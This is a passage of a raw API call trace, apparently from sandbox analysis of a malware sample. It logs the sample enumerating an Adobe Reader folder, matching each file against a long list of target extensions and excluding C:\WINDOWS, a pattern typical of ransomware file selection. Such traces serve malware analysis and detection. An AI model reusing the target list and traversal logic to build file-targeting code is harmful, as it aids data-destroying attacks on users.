(in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.954] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0199.954] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.954] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0199.954] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.954] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0199.954] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.954] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0199.954] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.955] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.955] lstrlenW (lpString="ui-strings.js") returned 13 [0199.955] lstrlenW (lpString=".1cd") returned 4 [0199.955] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0199.955] lstrlenW (lpString=".3ds") returned 4 [0199.955] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0199.955] lstrlenW (lpString=".3fr") returned 4 [0199.955] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0199.955] lstrlenW (lpString=".3g2") returned 4 [0199.955] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0199.955] lstrlenW (lpString=".3gp") returned 4 [0199.955] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0199.955] lstrlenW (lpString=".7z") returned 3 [0199.955] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0199.955] lstrlenW (lpString=".accda") returned 6 [0199.955] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0199.955] lstrlenW (lpString=".accdb") returned 6 [0199.955] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0199.955] lstrlenW (lpString=".accdc") returned 6 [0199.955] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0199.955] lstrlenW (lpString=".accde") returned 6 [0199.955] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0199.955] lstrlenW (lpString=".accdt") returned 6 [0199.955] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0199.955] lstrlenW (lpString=".accdw") returned 6 [0199.955] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0199.955] lstrlenW (lpString=".adb") returned 4 [0199.955] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".adp") returned 4 [0199.956] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".ai") returned 3 [0199.956] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0199.956] lstrlenW (lpString=".ai3") returned 4 [0199.956] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".ai4") returned 4 [0199.956] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".ai5") returned 4 [0199.956] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".ai6") returned 4 [0199.956] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".ai7") returned 4 [0199.956] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".ai8") returned 4 [0199.956] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".anim") returned 5 [0199.956] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0199.956] lstrlenW (lpString=".arw") returned 4 [0199.956] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".as") returned 3 [0199.956] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0199.956] lstrlenW (lpString=".asa") returned 4 [0199.956] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".asc") returned 4 [0199.956] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".ascx") returned 5 [0199.956] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0199.956] lstrlenW (lpString=".asm") returned 4 [0199.956] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0199.956] lstrlenW (lpString=".asmx") returned 5 [0199.956] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0199.957] lstrlenW (lpString=".asp") returned 4 [0199.957] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0199.957] lstrlenW (lpString=".aspx") returned 5 [0199.957] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0199.957] lstrlenW (lpString=".asr") returned 4 [0199.957] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0199.957] lstrlenW (lpString=".asx") returned 4 [0199.957] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0199.957] lstrlenW (lpString=".avi") returned 4 [0199.957] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0199.957] lstrlenW (lpString=".avs") returned 4 [0199.957] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0199.957] lstrlenW (lpString=".backup") returned 7 [0199.957] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0199.957] lstrlenW (lpString=".bak") returned 4 [0199.957] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0199.957] lstrlenW (lpString=".bay") returned 4 [0199.957] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0199.957] lstrlenW (lpString=".bd") returned 3 [0199.957] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0199.957] lstrlenW (lpString=".bin") returned 4 [0199.957] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0199.957] lstrlenW (lpString=".bmp") returned 4 [0199.957] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0199.957] lstrlenW (lpString=".bz2") returned 4 [0199.957] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0199.958] lstrlenW (lpString=".c") returned 2 [0199.958] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0199.958] lstrlenW (lpString=".cdr") returned 4 [0199.958] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0199.958] lstrlenW (lpString=".cer") returned 4 [0199.958] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0199.958] lstrlenW (lpString=".cf") returned 3 [0199.958] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0199.958] lstrlenW (lpString=".cfc") returned 4 [0199.958] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0199.958] lstrlenW (lpString=".cfm") returned 4 [0199.958] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0199.958] lstrlenW (lpString=".cfml") returned 5 [0199.958] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0199.958] lstrlenW (lpString=".cfu") returned 4 [0199.958] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0199.958] lstrlenW (lpString=".chm") returned 4 [0199.958] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0199.958] lstrlenW (lpString=".cin") returned 4 [0199.958] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0199.958] lstrlenW (lpString=".class") returned 6 [0199.958] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0199.958] lstrlenW (lpString=".clx") returned 4 [0199.958] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0199.958] lstrlenW (lpString=".config") returned 7 [0199.958] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0199.958] lstrlenW (lpString=".cpp") returned 4 [0199.958] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0200.029] lstrlenW (lpString=".cr2") returned 4 [0200.029] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0200.029] lstrlenW (lpString=".crt") returned 4 [0200.029] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0200.029] lstrlenW (lpString=".crw") returned 4 [0200.030] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".cs") returned 3 [0200.030] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0200.030] lstrlenW (lpString=".css") returned 4 [0200.030] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".csv") returned 4 [0200.030] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".cub") returned 4 [0200.030] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".dae") returned 4 [0200.030] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".dat") returned 4 [0200.030] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".db") returned 3 [0200.030] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0200.030] lstrlenW (lpString=".dbf") returned 4 [0200.030] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".dbx") returned 4 [0200.030] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".dc3") returned 4 [0200.030] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".dcm") returned 4 [0200.030] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".dcr") returned 4 [0200.030] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".der") returned 4 [0200.030] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0200.030] lstrlenW (lpString=".dib") returned 4 [0200.030] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0200.031] lstrlenW (lpString=".dic") returned 4 [0200.031] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0200.031] lstrlenW (lpString=".dif") returned 4 [0200.031] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0200.031] lstrlenW (lpString=".divx") returned 5 [0200.031] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0200.031] lstrlenW (lpString=".djvu") returned 5 [0200.031] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0200.031] lstrlenW (lpString=".dng") returned 4 [0200.031] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0200.031] lstrlenW (lpString=".doc") returned 4 [0200.031] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0200.031] lstrlenW (lpString=".docm") returned 5 [0200.031] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0200.031] lstrlenW (lpString=".docx") returned 5 [0200.031] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0200.031] lstrlenW (lpString=".dot") returned 4 [0200.031] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0200.031] lstrlenW (lpString=".dotm") returned 5 [0200.031] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0200.031] lstrlenW (lpString=".dotx") returned 5 [0200.031] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0200.031] lstrlenW (lpString=".dpx") returned 4 [0200.031] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0200.031] lstrlenW (lpString=".dqy") returned 4 [0200.031] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0200.031] lstrlenW (lpString=".dsn") returned 4 [0200.031] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0200.032] lstrlenW (lpString=".dt") returned 3 [0200.032] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0200.032] lstrlenW (lpString=".dtd") returned 4 [0200.032] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0200.032] lstrlenW (lpString=".dwg") returned 4 [0200.032] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0200.032] lstrlenW (lpString=".dwt") returned 4 [0200.032] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0200.032] lstrlenW (lpString=".dx") returned 3 [0200.032] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0200.032] lstrlenW (lpString=".dxf") returned 4 [0200.032] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0200.032] lstrlenW (lpString=".edml") returned 5 [0200.032] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0200.032] lstrlenW (lpString=".efd") returned 4 [0200.032] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0200.032] lstrlenW (lpString=".elf") returned 4 [0200.032] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0200.032] lstrlenW (lpString=".emf") returned 4 [0200.032] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0200.032] lstrlenW (lpString=".emz") returned 4 [0200.032] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0200.032] lstrlenW (lpString=".epf") returned 4 [0200.032] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0200.032] lstrlenW (lpString=".eps") returned 4 [0200.032] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0200.032] lstrlenW (lpString=".epsf") returned 5 [0200.032] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0200.032] lstrlenW (lpString=".epsp") returned 5 [0200.032] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0200.032] lstrlenW (lpString=".erf") returned 4 [0200.032] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".exr") returned 4 [0200.033] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".f4v") returned 4 [0200.033] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".fido") returned 5 [0200.033] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0200.033] lstrlenW (lpString=".flm") returned 4 [0200.033] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".flv") returned 4 [0200.033] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".frm") returned 4 [0200.033] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".fxg") returned 4 [0200.033] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".geo") returned 4 [0200.033] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".gif") returned 4 [0200.033] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".grs") returned 4 [0200.033] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".gz") returned 3 [0200.033] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0200.033] lstrlenW (lpString=".h") returned 2 [0200.033] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0200.033] lstrlenW (lpString=".hdr") returned 4 [0200.033] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".hpp") returned 4 [0200.033] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0200.033] lstrlenW (lpString=".hta") returned 4 [0200.033] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".htc") returned 4 [0200.034] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".htm") returned 4 [0200.034] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".html") returned 5 [0200.034] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0200.034] lstrlenW (lpString=".icb") returned 4 [0200.034] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".ics") returned 4 [0200.034] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".iff") returned 4 [0200.034] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".inc") returned 4 [0200.034] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".indd") returned 5 [0200.034] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0200.034] lstrlenW (lpString=".ini") returned 4 [0200.034] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".iqy") returned 4 [0200.034] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".j2c") returned 4 [0200.034] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".j2k") returned 4 [0200.034] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".java") returned 5 [0200.034] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0200.034] lstrlenW (lpString=".jp2") returned 4 [0200.034] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".jpc") returned 4 [0200.034] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0200.034] lstrlenW (lpString=".jpe") returned 4 [0200.035] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0200.035] lstrlenW (lpString=".jpeg") returned 5 [0200.035] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0200.035] lstrlenW (lpString=".jpf") returned 4 [0200.035] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0200.035] lstrlenW (lpString=".jpg") returned 4 [0200.035] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0200.035] lstrlenW (lpString=".jpx") returned 4 [0200.035] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0200.035] lstrlenW (lpString=".js") returned 3 [0200.035] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0200.035] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0200.035] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0200.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.035] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1 [0200.035] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins") returned 111 [0200.035] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins") returned 1 [0200.035] lstrlenW (lpString="plugins") returned 7 [0200.035] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="plugins") returned -1 [0200.035] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44f5f70 [0200.035] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins") returned 111 [0200.035] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420720 [0200.289] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.289] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefedf550, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b920, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-selector.js", cAlternateFileName="CONVER~2.JS")) returned 1 [0200.289] lstrlenW (lpString="convertpdf-selector.js") returned 22 [0200.289] lstrlenW (lpString=".1cd") returned 4 [0200.289] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0200.289] lstrlenW (lpString=".3ds") returned 4 [0200.289] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1 [0200.289] lstrlenW (lpString=".3fr") returned 4 [0200.289] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1 [0200.289] lstrlenW (lpString=".3g2") returned 4 [0200.289] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1 [0200.289] lstrlenW (lpString=".3gp") returned 4 [0200.289] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1 [0200.289] lstrlenW (lpString=".7z") returned 3 [0200.289] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0200.289] lstrlenW (lpString=".accda") returned 6 [0200.290] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1 [0200.290] lstrlenW (lpString=".accdb") returned 6 [0200.290] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1 [0200.290] lstrlenW (lpString=".accdc") returned 6 [0200.290] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1 [0200.290] lstrlenW (lpString=".accde") returned 6 [0200.290] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1 [0200.290] lstrlenW (lpString=".accdt") returned 6 [0200.290] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1 [0200.290] lstrlenW (lpString=".accdw") returned 6 [0200.290] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1 [0200.290] lstrlenW (lpString=".adb") returned 4 [0200.290] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1 [0200.290] lstrlenW (lpString=".adp") returned 4 [0200.290] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1 [0200.290] lstrlenW (lpString=".ai") returned 3 [0200.290] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0200.290] lstrlenW (lpString=".ai3") returned 4 [0200.290] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1 [0200.290] lstrlenW (lpString=".ai4") returned 4 [0200.290] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1 [0200.290] lstrlenW (lpString=".ai5") returned 4 [0200.290] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1 [0200.290] lstrlenW (lpString=".ai6") returned 4 [0200.290] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1 [0200.290] lstrlenW (lpString=".ai7") returned 4 [0200.290] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1 [0200.290] lstrlenW (lpString=".ai8") returned 4 [0200.290] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1 [0200.290] lstrlenW (lpString=".anim") returned 5 [0200.290] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1 [0200.291] lstrlenW (lpString=".arw") returned 4 [0200.291] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1 [0200.291] lstrlenW (lpString=".as") returned 3 [0200.291] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0200.291] lstrlenW (lpString=".asa") returned 4 [0200.291] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1 [0200.291] lstrlenW (lpString=".asc") returned 4 [0200.291] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1 [0200.291] lstrlenW (lpString=".ascx") returned 5 [0200.291] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1 [0200.291] lstrlenW (lpString=".asm") returned 4 [0200.291] lstrcmpiW (lpString1=".asm", 